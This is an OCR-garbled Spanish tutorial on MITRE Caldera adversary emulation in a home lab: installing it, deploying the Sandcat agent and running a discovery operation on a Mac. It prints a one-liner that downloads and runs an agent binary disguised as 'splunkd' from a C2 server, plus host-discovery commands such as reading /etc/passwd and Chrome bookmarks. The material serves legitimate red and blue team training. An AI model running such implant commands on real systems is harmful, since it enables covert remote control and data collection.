Invalid Github Gist personal API token provided. Gist C2 contact_gist.py:70
contact will not be started.

Generating tempora SSH private key. Was unable to use tunnel_ssh.py:26
provided SSH private key

Si todo ha ido bien, nos mostrard el siguiente mensaje:

Docs built successfully.

ii Hagamos un breack para presentar un comando nuevo !!

Acabamos de instalar un software nuevo, pero é¢dénde lo instalé?...

Veamos un comando espectacular: “locate” nos permite localizar todo lo
gue existe en nuestro disco duro, pero es necesario mantener acutalizada
su base de datos, por lo que si acabamos de instalar este software

debemos actualizarla con el comando “updatdb”, una vez actualizada,
entonces podemos busca a caldera con el comando “locate caldera”

/home/acorletti/Downloads

/home/acorletti/Downloads
caldera
/usr/bin/caldera
/usr/share/caldera
/usr/share/caldera/__pycache__

/usr/share/caldera/app
/usr/share/caldera/conf
/usr/share/caldera/data
/usr/share/caldera/plugins
/usr/share/caldera/server.py
/usr/share/caldera/static
/usr/share/caldera/templates
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Como podemos apreciar, la instalacién de Caldera en nuestro Kali, la ha
realizado en el directorio “/usr/share/caldera”, si nos vamos a este
directorio, podemos ver que nos presenta enlaces simbdlicos hacia
“/var/lib/caldera/conf”. Este es el directorio que estamos buscando
pues alli esta su configuracion. Nos posicionamos en el mismo.

/usr/share/caldera
/var/lib/caldera/conf

/var/lib/caldera/conf

total 12

-rw-r—r— 1 _caldera _caldera 311 Aug 16 12
-rw-r—r— 1 _caldera _caldera 1510 Aug 16 12
-rw-r—r— 1 _caldera _caldera 2981 Aug 16 12

:33 agents.yml
:33 default.yml
:33 payloads.yml

/var/lib/caldera/conf
default.yml

& C @

OffSec

3.2.2 Acceso y presentacion de Caldera:

Para acceder lo haremos via web, con Firefox en la
URL: http://localhost:8888, Donde colocaremos
como usuario “admin” y contrasefia “admin”, tal
cual acabamos de ver en el fichero “default.yml”.
Una vez validado, se nos presentara la imagen que
figura abajo.

CALDERA

Como podemos ver en la imagen anterior, la interfaz
grafica de Caldera se divide en tres secciones:

e Campanas
Plugins
e Configuracion

(las hemos recuadrado en verde en la imagen).

Una vez dentro de “/var/lib/caldera/conf”.
Ejecutamos “vi default.yml”, pues como se
presenta en la imagen de la derecha, al final de
este fichero de configuracién, es donde se
presentan los usuarios y contrasenas de acceso.

Kali Linux @ Kali Tools

«

/home/acorletti/Downloads
/usr/share/caldera

/usr/share/caldera

total 28

drwxr-xr-x
Lrwxrwxrwx
Lrwxrwxrwx
Lrwxrwxrwx
drwxr-xr-x
-I'W-Ir-——r-——
drwxr-xr-x
drwxr-xr-x

root
root
root
root
root
root
root
root

Aug
Jun
Jun
Jun
Aug
Apr
Aug
Aug

—3
=N
—

server.py

admin

admin
admin

O D localhost

* KaliDocs X Kali Forums X Kali NetHunter # Exploit-DB Google Hacking DB

0 Operations 0 Abilities 0 Adversaries

Manage Abilities =

Server

Your Caldera instance is

running at

http://0.0.0.0:8888

MITRE.org
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Las campaiias son conjuntos de operaciones para simular diferentes tipos de ataques, los plugins son componentes de software que extienden
la funcionalidad del sistema (como afiadir nuevas capacidades de ataque o adversarios), y la configuracion se refiere a los ajustes del sistema,
como la activacién de plugins y la definicién de operaciones, por ejemplo, dentro del archivo default.yml.

Cuando instalamos Caldera en nuestro Kali Linux, por defecto ya trae cargados los siguientes agentes:

e Sandcat: consiste en un agente ligero que permite ejecutar comandos remotos, scripts y técnicas ATT&CK de manera discreta. Se utiliza
principalmente para pruebas que requieren alta movilidad y sigilo, ideal para escenarios de emulacién avanzados. Puede comunicarse
con el servidor de CALDERA usando C2 (Command & Control) para recibir 6rdenes y enviar resultados.

e Manx: Es un agente mas orientado a entornos Windows, con funcionalidades
avanzadas de persistencia y exfiltracién. Se puede comunicar a través del
contacto TCP y funciona como un reverse-shell. Su objetivo es simular ataques - . cigi i
mas persister\:tes, como malware que sobrevive aJreinicios o cambio;jI de Sandcat: sigiloso, multiplataforma,
usuario. Permite probar técnicas de movimiento lateral y recoleccion de
credenciales en entornos controlados. - Manx: persistente, especializado en

Windows, pruebas de movimiento lateral.

Q Resumen:

flexible.

e Ragdoll: Disefiado para simular ataques mas destructivos, aunque sigue siendo
seguro dentro del entorno de CALDERA. Su enfoque esta en demostralciones y - Ragdoll: ruidoso, demostrativo, Gtil para
pruebas de técnicas ofensivas especificas, mas que en la discrecién. Util para
escenarios de entrenamiento o para visualizar cémo ciertos ataques afectan al
sistema sin riesgo real.

entrenamiento y visualizacion de ataques.

«

Un agente actua como si fuera un Remote Access Trojan (RAT). Son programas escritos en diferentes idiomas que
ejecutan las instrucciones que realizaria un adversario en los sistemas victima, previamente comprometidos. En
general, este tipo de programas buscan comunicarse con el servidor del intruso a través de un protocolo CALDERA
normalmente de Internet, como HTTP, TCP, UDP, SSH, etc. Los agentes funcionan de forma similar generando el
“Command and Control” (C2) de forma regular preguntando si hay nuevas instrucciones. 53.0

™ CAMPAIGNS
También iremos viendo otros conceptos que nos ofrece la interfaz grafica de Caldera, los mas importantes son: agents

e Abilities (Habilidad): Es una implementacion especifica de tacticas/técnicas de ATT&CK. Se componen de un abilities
conjunto de instrucciones que un agente debe ejecutar, simulando un host comprometido. Por defecto Caldera adversaries
ya trae incorporada un conjunto de habilidades. operations
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Adversaries (Adversarios): Mejor se interpreta como “perfiles de adversarios”, y son grupos de habilidades que representan las tacticas,
técnicas y procedimientos (TTPs) de amenazas conocidas. Los perfiles de adversario se utilizan al ejecutar una operacién para determinar
qué habilidades se ejecutaran.

Operations (Operaciones): Son escenarios de ataque que utiliza los TTP de perfiles de adversario preconfigurados. Se puede ejecutar una
operacién automaticamente donde los agentes y el servidor C2 se ejecutan sin la interferencia del operador y solo pueden ejecutar tareas
en el perfil del adversario. También existe el modo manual en el que el operador configura cada comando antes de asignarlo a un agente
y ejecutarlo.

3.2.3 Pruebainicial de “agent”

Para iniciar nuestro trabajo con Caldera, crearemos, configuraremos y conectaremos un agente. Para seguir nuestra filosofia “paso a paso”
lo haremos con el mas sencillo: Sandcat.

En el menu de laizquierda de Caldera, dentro de “Campaigns” [
seleccionamos “agent”, y hacemos “click” en esta opcién. Se
nos desplegara la ventana que se presenta a la derecha.

Agents

You must deploy at least 1 agent in order to run an operation. Groups are collections of agents so hosts can be compromised
simultaneously.

Para crear un nuevo agente, seleccionamos el botén “+
Deploy an agent” (recuadrado en rojo). Inmediatamente se
nos abrird la ventana que presentamos abajo, en la cual
seleccionaremos “Sandcat” tal cual podemos ver en azul en la imagen que sigue.

+ Deploy an agent & Configuration 1 2agents 1dead 1untrusted Bulk Actions v

Deploy an agent

Agent

Ragdoll | A Python agent which communicates via the HTML contact
Manx | A reverse-shell agent which communicates via the TCP contact

Sandcat | Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.
Close
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Si seleccionamos Sandcat, se nos
abrird una ventana similar ala de
la imagen e la derecha.

Como podemos ver en laimagen,
nos ofrece la opcion de
seleccionar una plataforma
(Platform), ene ste caso para
Linux, Windows y MAC

En nuestro ejemplo, hemos
seleccionado MAC (recuadrado
en verde), pero por supuesto,
podéis hacerlo con la que mas os
guste.

Por ahora lo mas importante es
configurar adecuadamente el
campo “app.contact.http” pues
esa serd la URL a la que se
conectara este agente. Se trata
de la direccién en la que hemos
instalado nuestro servidor de
Caldera. Por defecto, ya viene
como:

http://0.0.0.0:8888, pues esa es
la direccidén de nuestro localhost
y el puerto 8888, es el que figura
en el fichero “default.yml”.

En nuestro caso, la direccion IP

Deploy an agent

Agent

Sandcat | Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by default. v

Platform

-l <
st o

windows darwin

agents.implant_name splunkd

agent.extensions

& darwin sh

Caldera's default agent, written in GoLang. Communicates through the HTTP(S) contact by
default.

server="http://192.168.1.124:8888";

curl -s =X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64

chmod +x splunkd;
./splunkd -server $server -v

(D copy

del ordenador portatil en el que instalamos Caldera es 192.168.1.124, por lo que modificamos este campo colocando:

http://192.168.1.124:8888, tal cual vemos en la imagen (recuadrado en ).

El paso final sera copiar el contenido que nos ha generado, haciendo click en “Copy” (recuadrado en rojo).
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Ahora debemos insertar el cddigo copiado en el que hemos elegido como “agente”, en nuestro caso, como hemos dicho, sera otro MAC,
por lo que abrimos una interfaz de comandos en el mismo y pegamos el codigo que hemos copiado. IMPORTANTE: este pegado debemos
hacerlo con una cuenta que posea permiso de administrador, pues lo que intentaremos simular con esta agente, es lo que realizaria un
intruso que ha escalado privilegios.

Si lo hiciéramos con Linux, el pegado seria igual que en MAC en una interfaz de comandos, y para Windows, el cddigo se ejecuta a través
de PowerShell.

A continuacidn se presenta una imagen en la que podemos apreciar el “pegado”en el agente (en nuestro caso otro MAC), del fichero que
acabamos desde nuestro servidor Mitre Caldera y que copiamos (“Copy”: recuadrado en rojo en la imagen anterior).

sh-3.2# server="http://192.168.1.193:8888";curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amdé4" $server/file/download > splunkd;chmod +x splunkd;.
/splunkd -server $server -v

Starting sandcat in verbose mode.

L*x] No tunnel protocol specified. Skipping tunnel setup.

[*] Attempting to set channel HTTP
Beacon API=/beacon |
[*] Set communication channel to HTTP
TATtIaT Gelay=o |
server=http://192.168.1.193:8888 ‘
upstream dest addr=http://192.168.1.193:8888

group=red
privilege=Elevated l
allow local p2p receivers=false

beacon channel=HTTP |
available data encoders=baseé4, plain-text

[+] Beacon (HTTP): ALIVE

[*] Running instruction 2f3c393f-8859-481c-ab4f-dbac2144cfc3

[*] Submitting results for link 2f3c393f-8859-481c-aé4f-dbac2l144cfc3 via C2 channel HTTP
[+] Beacon (HTTP): ALIVE

En la imagen de arriba podemos ver también, que una vez pegado el fichero se inicia “sandcat” (rojo) y se establece una comunicacién
HTTP hacia el servidor 192.168.1.193 (verde) que es donde instalamos Mitre Caldera recientemente. Lo hace como grupo “red” porque
estamos trabajando como “Red Team” y con maximos privilegios (privilege=Elevated) (azul). Finalmente, una vez que se establece la
conexién, podemos ver como comienza a generar los “Beacon” (balizas) para que mutuamente (servidor y agente) sepan que estan vivos
(ALIVE) (naranja). o

CALDERA Agents

You must deploy at least 1 agent in order to run an operation. Groups are collections of agents so hosts can be compromised

En el lado del servidor, inmediatamente nos mostrara simuitaneously
gue este agente se ha conectado, tal cual podemos ver
en la imagen de la derecha (recuadrado en verde).

+ Deploy an agent & Configuration lagent Odead O untrusted Bulk Actions v

id platform contact i privilege
(paw)

K : Mac- darwin Elevated
X wi 2
e Ale2021.local = i
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Otro detalle que debemos conocer es el tema de “Configuration”de cada agente, boton que hemos recuadrado en rojo en la imagen de
arribay a la derecha. Hagamos “click” en este botdn para estudiar las opciones que nos ofrece.

La ventana de configuracién, es la que vemos a la
derecha. Agent Configuration

Cada uno de estos campos significa:

e Beacon Timers (Temporizadores de baliza):
segundos minimos y maximos que tardara el
agente en enviar una baliza (beacon) al Watchdog Timer (sec)
servidor.

e Watchdog Timer (Temporizador de Untrusted Timer (sec) * 9o
vigilancia): segundos que se debe esperar,
una vez que el servidor no sea accesible, antes
de eliminar un agente.

e Untrusted timer (Temporizador de agentes
no fiable): segundos que se debe esperar Deadman Abilities @ ar
antes de marcar un agente desaparecido
como no fiable. Las operaciones no generaran
nuevos enlaces para los agentes no
confiables. Close @ Save

e Implant Name (Nombre del implantacién):
Nombre base de este agente. Si es necesario, se afiadird una extension cuando se cree un agente (por ejemplo, splunkd se
convertira en splunkd.exe al generar un agente en una maquina Windows).

e Bootstrap Abilities (Capacidades de arranque): Lista separada por comas de los ID de capacidades que se ejecutaran en una nueva
baliza de agente. De forma predeterminada, estd configurado para ejecutar un comando que borra el historial de comandos.

e Deadman Abilities (Capacidades de hombre muerto): Lista separada por comas de los ID de capacidades que se ejecutaran
inmediatamente antes de la terminacidn del agente. El agente debe ser compatible con las capacidades de hombre muerto para
gue se puedan ejecutar.

Beacon Timers (sec)

Implant Name splunkd

Bootstrap Abilities @ (Awidlogs | x  +

* A global setting that will effect any new or existing agents.
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3.2.2 Secuencia normal de trabajo con Mitre Caldera
Para nuestro trabajo cotidiano con Mitre Caldera, es importante que comprendamos cudl es la secuencia natural de pasos a seguir.

Normalmente lo haremos siguiendo cuatro pasos:

1. Abilities - 2. Adversaries - 3. Agents & 4. Operations

Qué es y qué hace cada uno

1) Abilities (Habilidades)

e Qué son: acciones atdmicas que Caldera puede ejecutar (por ejemplo: listar procesos, descargar un binario, ejecutar un
comando, mover lateralmente, etc.).

¢ Qué hacen: definen como se realiza una técnica concreta (normalmente mapeadas a técnicas ATT&CK — por
ejemplo 71059 ejecucién de comandos).

e Formato: suelen ser scripts o médulos con parametros, timeout, condiciones de éxito/fallo.

e Por qué importan: son los bloques de construccién; sin abilities no hay pasos concretos que ejecutar.

2) Adversaries (Adversarios / perfiles)

e Qué son: colecciones ordenadas de abilities (a menudo con condiciones, ramificaciones y delays) que representan
una tdctica o campafia completa.

e Qué hacen: describen la secuencia logica de ataque (por ejemplo: Recon - Exploit - Persistencia - Escalada - Exfiltracién)
agrupando abilities y su flujo.

e Por qué importan: encapsulan una estrategia reutilizable — puedes ejecutar el mismo adversary contra muchos agents.

3) Agents (Agentes)

e Qué son: procesos clientes conectados al servidor Caldera que ejecutan instructions (por ejemplo: un implant en un host de
laboratorio).

e Qué hacen: reciben érdenes (abilities) desde el servidor y las ejecutan localmente, reportando resultados y artefactos.

e Por qué importan: son los puntos de ejecucion reales; sin agentes no hay dénde ejecutar las abilities.
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3.2.

4) Operations (Operaciones)

e Qué son: la ejecucién concreta: un intento de correr un adversary (o conjunto de abilities) sobre uno o mas agents, con
parametros (fechas, alcance, velocidad, colecciones de agentes).

e Qué hacen: coordinan la ejecucidén, monitorizan progreso, recolectan resultados/logs, y permiten pausar/terminar la
campafa.

e Por qué importan: es la accién real de «lanzar el ataque» en un entorno controlado.

Por qué esa secuencia (motivo practico)

e Preparacion primero: definir y probar abilities antes te evita errores en tiempo de ejecucidn.

o Disefo de campaiia: agrupar esas abilities en adversaries permite repetir y estandarizar ataques.

¢ Disponibilidad de ejecucion: tener agents conectados es requisito para que la ejecucion sea posible — pero no necesitas desplegarlos al
ultimo segundo: pueden existir desde antes.

¢ Ejecucion controlada: finalmente lanzas una operation para ejecutar el adversary contra los agents.

3 Lancemos nuestra primer operacion

Sigamos nuestros cuatro pasos:

1. Abilities - 2. Adversaries - 3. Agents & 4. Operations

CALDERA

Comenzaremos entonces con “1. Abilities” Como nuestra primera intencién es avanzar “paso a paso”, haremos un
descubrimiento de nuestro agente, por lo que dentro de “Campaigns”, hacemos click en “ablilities” (rojo). 5.3.0

Se nos abrira la ventana que se presenta en laimagen qu esigue abajo, dentro de esta vantana, enelcampo “buscar’ [aULZILE

(Imagen de la lupa), pondremos “discovery” (verde en la imagen de abajo).. :
agents

Como podemos ver en la imagen de abajo, de las 1862 Abilities, 101 de ellas se relacionan con Discovery (recuadrado [
en azul en la imagen e abajo), Podriamos seleccionar cualquiera de ellas, o la que mas nos guste para comenzar a
estudiar esta herramnienta.

adversaries

operations
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Abilities

An ability is a specific ATT&CK tactic/technique implementation which can be executed on running agents. Abilities will include the

command(s) to run, the platforms / executors the commands can run on (ex: Windows / PowerShell), payloads to include, and a
reference to a module to parse the output on the Caldera server.

+ Create an Ability

[Q discovery

Tactic

All

Technique

All

Plugin

All

Platform

All

Clear Filters

101/ 1862 abilities

MITRE.org

discovery T1087.002 - Account Discovery: Domain Account

Account Discovery (all)

The net utility is executed via cmd to enumerate domain user
accounts.

discovery T1010 - Application Window Discovery

Application Window Discovery

Extracts the names of all open non-explorer windows, and the
locations of all explorer windows.

T1069.002 - Permission Groups Discovery: Domain

discovery Groups
rou

Basic Permission Groups Discovery Windows

(Domain)

Basic Permission Groups Discovery for Windows. This test will
display some errors if run on a computer not connected to a
domain. Upon execution, domain information will be displayed.

discovery T1087.002 - Account Discovery: Domain Account

Account Discovery (targeted)

The net utility is executed via cmd to enumerate detailed
information about a specific user account.

discovery T1082 - System Information Discovery

BIOS Information Discovery through Registry

Looks up for BIOS information in the registry. BIOS information is
often read in order to detect sandboxing environments. Upon
execution, BIOS information will be displayed. - https://
tria.ge/210111-eaz8mghgh6/behaviorall - https://
evasions.checkpoint.com/techniques/registry.html

T1069.001 - Permission Groups Discovery: Local

discovery o
rou

Basic Permission Groups Discovery Windows
(Local)

Basic Permission Groups Discovery for Windows. This test will
display some errors if run on a computer not connected to a
domain. Upon execution, domain information will be displayed.
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discovery T1082 - System Information Discovery

En nuestro caso, y solo a titulo de ejemplo y prdctica, de estas 101 habilidades,
hemos seleccionado “T1082 — System Information Discovery”, tal cual se BRI IR {elgaEL{e]a WISl V=T aY)

muestra en laimagen de la derecha. Identify System Info. Upon execution, system info and time info will

Si hacemos click en la misma, se nos abrird la ventana de edicion de la misma, REEISSEICIE
tal cual se ve en la imagen de abajo.

Edit Ability

Abilty 1D Antes de gardar (Save) la misma, es necesario definir al menos un Ejecutor
(Executors), los veremos bajando un poco en este misma ventana.

LETL

System nformation Discovery En la imagen e abajo, podemos ver este “+ Add Executor” ( ) que,
R inisitimos, se encuentra en la misma ventana, haciendo scoll hacia abajo).

ystem Info

Como nuestro agente estd corriendo en otro MACINTOSH, hemos
seleccionado “Platform: darwin” (verde) y el timpo de ejecutor serd un
= " Shell (sh) (rojo).

d
Technique ID

Executors

+ Add Executor

71082

Technique Name

System Information Discovery

i
Opviane Platform

W Ssingleton

darwin
B Reneatahle

O Reset Cancel B save Executor

7e8ee7_AtomicTest.dll X

Finalmente, como podéis ver también en la imagen de la derecha,
hemos seleccionado algunas “Payloads” (azul), que en definitiva sera
la carga, o el contenido, que tendra esta habilidad en cocreto.

Una vez completado todos estos campos, ahora si podemos guardar o——
la habilidad (Save) con lo que ya ha quedado creada. ver
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Siguiendo nuestra secuencia:

1. Abilities - 2. Adversaries - 3. Agents - 4. Operations

Pasemos ahora a configurar nuestros adversarios: 2. Adversaries.

Volvemos al menu principal (a la izquierda de la interfaz grafica) y nuevamente desde “Campaigns”, seleccionaremos

ahora “adversaries”, tal cual se presenta recuadrado en rojo en la imagen de la derecha.

Se nos abrird la ventana que presentamos en la imagen de abajo.

operations

schedules

& PLUGINS

access
atomic
compass

debrief

fieldmanual

manx

sandcat

stockpile

training

& CONFIGURATION

settings
fact sources
objectives
contacts
exfilled files

payloads

abilities X

+ Add Ability

adversaries

+ Add Adversary

Ordering Name

1

Identify active
user

Find local users

Identify local
users

Snag broadcast
P

Find user
processes

Discover
antivirus
programs

Permission
Groups
Discovery

Discover Mail
Server

X

& Fact Breakdown

Tactic

discovery

discovery

discovery

discovery

discovery

discovery

discovery

discovery

Technique

System Owner/User

Discovery

Account Discovery:
Local Account

Account Discovery:
Local Account

System Network
Configuration
Discovery

Process Discovery

Software Discovery:

Security Software
Discovery

Permission Groups
Discovery: Local
Groups

Remote System
Discovery

Objective:

default v

Executors

& 0=
=

& 0

8 save

Requires Unlocks Payload Cleanup

p

p

CALDERA

5.3.0

™ CAMPAIGNS

agents
abilities
adversaries

operations

Fijaros que como hemos
seleccionado “discovery”, y au
vez la técnica “T1082 — System
Information Discovery” (rojo),
ya nos despliega todo el
conjunto de adversarios que
podemos lanzar, y lo mas
importante:  Con _ absoluta
correspondencia_con la_matriz
ATT&CK que venimos
desarrollando desde el
principio, con sus técnicas y
subtécnicas.

iii esto es ESPECTACULAR j!!
A su vez, con la “x” (verde) que
aparece a la derecha, podemos
eliminar las técnicas que no
aplican a nuestra plataforma.

Como en nuestro caso el agente es MAC, como podéis ver, sélo hemos dejado las que aplican a MAC (manzanita en recuadro verde).
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Siguiendo nuestra secuencia:

1. Abilities - 2. Adversaries - 3. Agents - 4. Operations

CALDERA

Como el agente es lo primero que hemos hemos creado (sobre todo para probar inicialmente su configuracién, y sobre

todo la conexién), nos toca ahora el dltimo paso: 4. Operations. 5.3.0
; , / ™ CAMPAIGNS
Una vez mas lo haremos volviendo al menu principal (a la izquierda de la interfaz grafica) y nuevamente desde

“Campaigns”, seleccionaremos ahora “operations”, tal cual se presenta recuadrado en rojo en la imagen de la agents
derecha. abilities

Se nos desplegard la ventana que vemos en la image que sigue. gdversanes

i « abilities X adversaries X operations X

operations

CALD E RA Operations Discovery MACINTOSH - 0 decisions | 4 min ago W + New Operation B Download Report

Como podeéis ver en la imagen anterior, hemos recuadrado en verde “+ New Operation” que es lo que haremos. NOTA: en nuestro caso también
podéis ver que en la imagen anterior figura “Discovery MACINTOSH”, esto se debe a que ya la teniamos creada, pero en este texto es el paso
siguiente que os mostramos para que también lo hagais vosotros “paso a paso”.

En la imagen anterior, prestad atencion también a los tres botones de la parte superior, los que nos indican que ya tenemos listas y configuradas
las abilities y los adversaries. Resaltado en color lila, la misma interfaz gafica, nos indica también que en estos momentos nos encontramos en
“operations”. Sideseamos volver a cualquiera de ellos, p odemos seleccionarlos (haciendo click en cualquiera) y se nos volvera a abrir la ventana
correspondiente a ese botdn.

Una vez seleccionada “+ New Operation”, se nos desplegard la imagen que vemos aqui abajo. En nuestro caso, como hemos dicho, la hemos
llamado “Discovery MACINTOSH”, pero por supuesto, si vuestro agente es Linux, Windows o lo que fuere, le ponéis el nombre que mas os guste.
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Start New Operation

Operation Name

Adversary

Fact Source

Group

Planner

Obfuscators

Autonomous

Parser

Auto Close

Run State

Jitter (sec/sec)

Discovery MACINTOSH

Discovery

All groups red

atomic

base64 base64jumble base64noPadding caesar cipher
steganography
© Runautonomously @ Require manual approval
Use Default Parser @ Don't use default learning parsers

Keep open forever @ Auto close operation

Run immediately @ Pause on start

plain-text

Cancel

Start

En la imagen de la derecha, podemos ver lo que nos ofrece para
configurar una nueva operacién. En este caso ya nos trae varios campos
completos, sobre la base de los adversarios y habilidades que ya hemo
sido configurando.

Como primer ejercicio, os invitamos a que unicamente coloquéis el titulo
que prefirdiy el resto de los campos los dejéis tal cual estan por defecto.

A medida que vamos creando operaciones, las mismas ya quedardn
definidas, con lo que no necesitaremos siempre crear una nueva, sino
gue directamente podremos acceder a ellas desde la “Selecciéon de
operaciones, tal cual s emuestra en la imagn de aqui abajo.

« abilities X  adversaries X  operations X

+ New Operation

Operations

CALDERA

Discovery MACINTOSH - 10 decisions | 18 hrs ago
Ejemplo_T1003 - 0 decisions | 17 hrs ago
530 pruebal - 0 decisions | 17 hrs ago

™ CAMPAIGNS

agents
abilities
adver
operations

schedules

En cualquiera de los casos, el siguiente paso es pulsar en el botdn “Start” (recuadrado en rojo), para lanzarla.

Una vez que comienza a ejecutarse, en la misma ventana nos ird mostrando el grado de avance de cada uno de los adversarios que habiamos

seleccionado en el punto 2. Adversaries.

Se corresponden con cada uno de los que hemos recuadrado en verde y rojo en la imagen de este

punto 2 (si queréis revisarlos, volved un par de paginas y buscadlos en esa imagen).

Aqui abajo, se presenta una imagen en la que podemos ver como va evolucionando cada uno de ellos, y nos lo indica con las palabreas “success”,
“collect” y en el caso de fallos “failed”.
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E « agents X abilities X adversaries X operations X

CALDERA Operations Discovery MACINTOSH - 4 decisions | 2 minago ¥ + New Ope B Download Report

5.3.0
™ cAmPAIGNS Discovery MACINTOSH  pownload Graph sve

agents

abilities Obfuscator: plain-text v
+ Manual Command + Potential Link Operation Details Y Filters

adversaries
— -w 1 @® Autonomous

operations

schedules . o
Time Status Ability

Ran Name

Host pid Link Command Link Output
& PLUGINS

9/23/2025
/2=l ' Identify Mac-

access 5:21:07 PM . discovery View Command View Output
: active user Ale2021.local
atomic GMT+2

compass
A 2
20y, Find local VET

debrief 5:21:47 PM discovery 4 View Command View Output
users Ale2021.local
GMT+2

fieldmanual
9/23/2025
123/ ! Identify Mac-

5:22:37PM O discovery View Command View Output
local users Ale2021.local
GMT+2

fhatis 9/23/2025, Snag
Mac-

sandcat 5:23:37PM O collect broadcast  discovery N/A View Command  No output
P B Ale2021.local

o . . . 9/23/2025, . "
Una vez que finaliza, o inclusive a medida que va |[PESiSEErs ety B iscovery ViewOutput  C'

. . . active user whoami
finalizanco cada uno de ellos (success), podemos ir EUE
analizando los comandos que ejecutd cada uno de [RESEES Find local N

. . 5:21:47 PM ( discovery S—— View Command View Output (&
ellos seleccionando “View Command”. i users Ale2021.local

LD Copy
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9/23/2025,
5:21:07 PM
GMT+2

9/23/2025,

5:21:47 PM
GMT+2

9/23/2025,
5:22:37 PM
GMT+2

También podemos ver la
respuesta obtenida, en el botdn
“View Output”, tal cual se
presenta en la imagen de la
derecha, con la identificacion de

usuarios locales.

Identify

) discovery
active user

kxyvgr

cut -d: -f1 /etc/passwd | grep -v '_'

(D copy
local users

9/23/2025,
5:22:37 PM
GMT+2

Identify

discovery
local users

kxyvgr

9/23/2025, Snag
5:23:37 PM broadcast
GMT+2 IP

discovery  kxyvgr

9/23/2025, s
Find user
5:24:37 PM

discovery  kxyvgr

Mac-
Ale2021.local

45051

| grep -v '#'

Ale2021.local

Mac-
Ale2021.local

Mac-
Ale2021.local

Mac-

View Command J

View Command

| Facts

No facts collected

Standard Output

ace
daemon
macports
nobody

View Output &

View Output

View Output

View Output

View Output

| View Output (&

GMT+2 processes Ale2021.local pulse
root

Desde el punto de vista del “Blue Team”, es interesante también la capacidad que nos ofrece para poder identificar la actividad que Mitre Caldera
estd ejecutando. Recordemos también que esto que estamos lanzando, son literalmente las mismas técnicas que emplea un intruso.

[+]
[*]
[*]
[+]
[*]
[*]
[+]
[*]
[*]
[+]
[*]
[*]
[+]
[*]
[*]

Beacon (HTTP): ALIVE

Running instruction 88e462cd-el4b-4bcd-9b57-9105a7a79bad
Submitting results for link 88e462cd-el4b-4bcd-9b57-9105a7a79bad
Beacon (HTTP): ALIVE

Running instruction f@288a4a-15e@-4c77-aa71-944b5f1836e8
Submitting results for link f@288a4a-15e0-4c77-aa71-944b5f1836e8
Beacon (HTTP): ALIVE

Running instruction 755c8d4d-c7f2-44ff-8135-1254a06e65fb
Submitting results for link 755c8d4d-c7f2-44ff-8135-1254a06e65fb
Beacon (HTTP): ALIVE

Running instruction d5115f32-dc5f-4b5d-b105-b91f1fec8c8b
Submitting results for link d5115f32-dc5f-4b5d-b105-b91f1fec8c8b
Beacon (HTTP): ALIVE

Running instruction 33b@0c7a-0afe-49ce-b680-35030928ced6b
Submitting results for link 33b@@c7a-@afe-49ce-b680-35030928cedb

via

via

via

via

via

c2

c2

c2

c2

Cc2

channel HTTP

channel HTTP

channel HTTP

channel HTTP

channel HTTP

Si el “Blue Beam”, se conecta al agente, desde el mismo
pueda realizar todo el seguimiento, con el grado de detalle
que desee, por ejemplo empleando las herramientas que ya
hemos estado esudiando: tcpdump, Wireshark, Syslog, etc.

A la izuierda podemos ver una imagen desde la interfaz de
comandos del agente, que nos muestra cada una de las
instrucciones que se estan enviando desde el Servidor de
Mitre Caldera.
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A continuacidon, una vez finalizada la
operacion, podemos también
descargarla, desde el botén “Download
Report”, que podemos ver en la imagen
de la derecha, recuadrado en verde.

Operation Reports

M Include agent output

O FullReport @ EventLogs @ CSV

Discovery MACINTOSH - 10 decisions | yesterday 15:21:07 w + New Operatio B Download Report

Operations

Discovery MACINTOSH

Download Graph SVG

Obfuscator: plain-text v

<+ Manual Command + Potential Link Operation Details

Y Filters .'

>,

® Autonomous

Una vez seleccionado “Download Report”, se nos abrird la ventana que
podemos ver en la imagen de la izquierda que nos ofrece diferentes
formatos de descarga. Pos supuesto podemos seleccionar el que
deseemos para almacenar este escenario.

Los formatos mdas empleados suelen ser “Full Report” que nos entregard
un ficher JSON, y CSV para porecsar con cualquier hoja de calculo. Aqui
abajo podemos ver un ejemplo de cada uno de ellos.

& Download

Cancel

name: “Discovery MACINTOSH"

« host_group:

v o:

Time Ran Ability Name Agent Host pid Link C d Plaintext C d e “kyvgr®

2025-09-23T|Identify active user kxyvgr Mac-Ale202 45051 |whoami whoami sleep_min: 30
2025-09-23T|Find local users kxyvgr Mac-Ale202 45065 |cut -d: -f1 /etc/passwd | grep -{cut -d: -f1 /etc/passwd | grep-v'_' | grep -v'#' sleep_max: 60
2025-09-23T|Identify local users kxyvgr Mac-Ale202; 45076 |dscl . list /Users | grep-v'_' |dscl. list /Users | grep-v'_' Wetchdogs i
2025-09-23T|Snag broadcast IP loyver Mac-Ale202 45087 |ifconfig | grep broadcast ifconfig | grep broadcast Z:'::’:;MU'P_ :;:m
2025-09-23T|Find user processes kxyvgr Mac-Ale202 45093 |ps aux | grep daemon ps aux | grep daemon glatdormi wdarwin®
2025-09-23T|Find user processes kxyvgr Mac-Ale202 45111|ps aux | grep nobody ps aux | grep nobody server: “http://192.168.1.193:8888"
2025-09-23T|Find user processes kxyvgr Mac-Ale202 45119|ps aux | grep root ps aux | grep root upstream_dest: “http://192.168.1.193:8888"
2025-09-23T| Discover antivirus programs kxyvgr Mac-Ale202 45128|find /Applications/ -maxdepth 2 find /Applications/ -maxdepth 2 -iname *.app | grep -io "[a-z ]*\.app" | grep -Ei - username: “root®
2025-09-23T| Permission Groups Discovery |kxyvgr Mac-Ale202 45139|groups groups tocation e
2025-09-23T|Get Chrome Bookmarks kxyvgr Mac-Ale202 45146 |cat ~/Library/Application\ Supp{cat ~/Library/Application\ Support/Google/Chrome/Default/Bookmarks ::‘c ::s:z

trusted: true

v executors:
o: “proc"
1: “sh*

privilege: “Elevated"

exe_name: “splunkd"

host: “Mac-Ale2021. local™

contact: “HTTP"

proxy_receivers: 0

proxy_chain: 8]

origin_link_id:

deadman_enabled: true

A medida que vayamos configurando la interfaz grafica y ejecutando diferentes tipos de ataques, sobre la cantidad de agentes y plataformas que
gueramos estudiar, la pagina inicial de Mitre Caldera, nos ird ofreciendo cada vez mas informacién de detalle sobre la totalidad del trabajo
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realizado. A continuacidn se presenta una imagen donde podemos ver el grado de avnace de la plataforma en base a lo que hemos venido

desarrollando hasta este momento.

« abilities X

CALDERA HAgent

5.3.0

™ CAMPAIGNS

agents
abilities
